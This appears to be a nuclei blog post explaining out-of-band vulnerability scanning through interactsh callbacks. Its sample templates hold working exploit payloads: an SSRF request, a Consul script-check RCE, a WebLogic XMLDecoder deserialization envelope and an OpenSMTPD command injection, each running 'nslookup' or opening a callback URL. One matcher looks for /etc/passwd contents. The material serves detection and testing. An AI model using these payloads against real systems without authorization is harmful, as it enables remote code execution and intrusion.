Authors
We released interactsh, a server that can emulate a DNS, HTTP, HTTPS and SMTP server, allowing users to test for Out of Band Security vulnerabilities.
Nuclei v2.3.6 now supports using the interact.sh API to achieve OOB based vulnerability scanning with automatic Request correlation built in. It's as easy as writing {{interactsh-url}}
anywhere in the request, and adding a matcher for interact_protocol
. Nuclei will handle correlation of the interaction to the template & the request it was generated from allowing effortless OOB scanning.
How it works?
Nuclei engine checks the presence of matchers for interact_protocol
and if detected, interactsh support is enabled for the request. What this means is the request will be checked for {{interactsh-url}}
placeholders, and if detected they will be replaced on the fly with a random interact.sh url and polled by nuclei continuously for interactions.
The support is enabled in such a way that only a single poll request is necessary to get all the interactions for any number of unique URLs generated per session of nuclei. Internally, nuclei maintains an LRU cache of all the requests, with a max limit that can be tuned with -interactions-cache-size
flag. By default, this value is set to 5000 requests with requests getting evicted every 60 seconds. Nuclei polls for interactions every 5 seconds.
You can also use self-hosted interactsh server with nuclei by passing self-hosted url using interactsh-url
flag, as default it uses https://interact.sh
Placeholder Support
{{interactsh-url}}
placeholder is supported in http
and network
requests.
An example of nuclei request with {{interactsh-url}}
placeholders is provided below. These are replaced on runtime with unique interact.sh URLs.
yaml
1- raw:2- |3GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.14Host: {{Hostname}}
Matching for Interactions
Matching is very easy with interactsh nuclei integration. Just add a standard nuclei word
, regex
or dsl
matcher/extractor with parts that can be -
interactsh_protocol
- Value can bedns
,http
orsmtp
. This is the standard matcher for every interactsh based template withdns
often as the common value as it is very non-intrusive in nature.-
interactsh_request
- The request that the interact.sh server recieved. -
interactsh_response
- The response that the interact.sh server sent to the client.
yaml
1matchers:2- type: word3part: interactsh_protocol # Confirms the DNS Interaction4words:5- "dns"
These interactsh specific matchers can be combined with matchers on the parts of the request such as body
, raw
with matchers-condition: and
to achieve precise scanning.
yaml
1matchers-condition: and2matchers:3- type: word4part: interactsh_protocol # Confirms the DNS Interaction5words:6- "dns"78- type: regex9part: interactsh_request # Confirms the retrieval of etc/passwd file10regex:11- "root:[x*]:0:0:"1213- type: status14status:15- 200
Some Examples
The below template is an example demonstration of the OOB capabilities of nuclei. It detects hashicorp consul Services API RCE with interact.sh OOB server.
yaml
1id: hashicorp-consul-rce23info:4name: Hashicorp Consul Services Api RCE5author: pikpikcu6severity: critical7reference: https://www.exploit-db.com/exploits/460748tags: hashicorp,rce,oob910requests:11- raw:12- | # Create USER13PUT /v1/agent/service/register HTTP/1.114Host: {{Hostname}}15User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.016Connection: close17Upgrade-Insecure-Requests: 118Content-Length: 2051920{21"ID": "{{randstr}}",22"Name": "{{randstr}}",23"Address": "127.0.0.1",24"Port": 80,25"check": {26"script": "nslookup {{interactsh-url}}",27"interval": "10s",28"Timeout": "86400s"29}30}31matchers:32- type: word33part: interactsh_protocol # Confirms the DNS Interaction34words:35- "dns"
The below template detects Weblogic RCE by deserialization using interact.sh OOB server of nuclei.
yaml
1id: CVE-2017-350623info:4name: Oracle Weblogic Remote OS Command Execution5author: pdteam6description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.7severity: high8tags: cve,cve2017,weblogic,oracle,rce,oob9reference: |10- https://hackerone.com/reports/81077811- https://nvd.nist.gov/vuln/detail/CVE-2017-350612requests:13- raw:14- |15POST /wls-wsat/RegistrationRequesterPortType HTTP/1.116Host: {{Hostname}}17Content-Type: text/xml18User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,19Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,20Content-Type: text/xml;charset=UTF-821Content-Length: 8732223<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">24<soapenv:Header>25<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">26<java version="1.8" class="java.beans.XMLDecoder">27<void id="url" class="java.net.URL">28<string>http://{{interactsh-url}}</string>29</void>30<void idref="url">31<void id="stream" method ="openStream"/>32</void>33</java>34</work:WorkContext>35</soapenv:Header>36<soapenv:Body/>37</soapenv:Envelope>38matchers:39- type: word40part: interactsh_protocol # Confirms the DNS Interaction41words:42- "dns"
A network template for OpenSTMPd that detects RCE by OOB request is also given below.
yaml
1id: CVE-2020-72472info:3name: OpenSMTPD 6.4.0 - 6.6.1 Remote Code Execution4author: princechaddha5severity: critical6reference: https://www.openwall.com/lists/oss-security/2020/01/28/37tags: cve,cve2020,smtp,opensmtpd,network,rce89network:10- inputs:11- read: 102412- data: "helo target\r\n"13read: 102414- data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n"15read: 102416- data: "RCPT TO:<root>\r\n"17read: 102418- data: "DATA\r\n"19read: 102420- data: "\r\nxxxx\r\n.\r\n"21read: 102422- data: "QUIT\r\n"23read: 102424host:25- "{{Hostname}}:25"2627matchers-condition: and28matchers:29- type: word30part: interactsh_protocol31words:32- "dns"3334- type: word35part: raw36words:37- "Message accepted for delivery"
Got questions about Interactsh or nuclei integration? Feel free to tweet us at @pdnuclei or jump in our discord server to discuss more security and automation.